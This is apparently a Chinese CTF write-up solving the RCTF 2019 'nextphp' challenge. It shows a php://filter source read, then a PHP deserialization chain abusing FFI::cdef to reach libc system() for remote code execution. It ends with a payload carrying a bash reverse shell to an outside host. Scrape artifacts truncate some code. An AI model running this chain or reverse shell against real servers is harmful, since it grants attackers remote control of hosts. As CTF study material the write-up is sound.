[RCTF 2019]nextphp

printf("Hello %s!\n", "world");
1
2
3
4
5

FFI::cdef(“int system(const char* command)”, “libc.so.6”)
1

class A implements Serializable {
    private $prop;
    public function serialize() {
        return serialize($this->prop);
    }
    public function unserialize($payload) {
        $this->prop = unserialize($payload);
    }
}
class B extends A {
    private $prop;
    public function serialize() {
        return serialize([$this->prop, parent::serialize()])
    }
    public function unserialize($payload) {
        [$prop, $parent] = unserialize($payload);
        parent::unserialize($parent);
        $this->prop = $prop;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

• 1
• 2
• 3
• 4
• 5
• 6

简单的命令执行，我们先查看phpinfo信息搜集
可以看到过滤了很多函数
然后注意到存在文件preload.php

我们结合php伪协议读取下源码

?a=include('php://filter/read=convert.base64-encode/resource=preload.php');
1

base64解码

 null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']); 
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

可以发现和平常做的反序列化代码不太一样，思路是调用run方法命令执行。但是问题来了，题目禁用了大部分函数，我们哪怕构造出链子也无法实现rce。

看到该文件名preload为预加载，可以去网上搜搜相关文章（前置知识我已经贴了链接）
发现与FFI结合会存在危害，我们在phpinfo发现为开启

那么我们就可以结合FFI语法知识，利用run()函数可以将ret变为一个外部函数接口，我们再通过ret调用系统命令，完成RCE

不过方法究竟选哪个是有原因的，分析一下

public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
1
2
3
4
5
6
7
8
9

我们在前置知识已经讲过php版本大于7.4会优先调用__unserialize()，看到源码处并没有我们能实现反序列化而unserialize()则有这功能，所以在构造exp我们要选择留下unserialize方法

exp如下

 null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(const char* command);'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']); 
    }
    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
}

$a=new A();
echo base64_encode(serialize($a));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

然后构造payload

?a=$a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyKiBjb21tYW5kKTsiO319'))
1

实现了FFI::cdef("int system(const char* command);")后
只需调用即可，通过设置__serialize()['ret']的值获取flag

$a->__serialize()['ret']->system("bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'");
1

整理一下得到最终payload

?a=$a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyKiBjb21tYW5kKTsiO319'))->__serialize()['ret']->system("bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'");
1

这里我没弹成功，如果有师傅会的话教教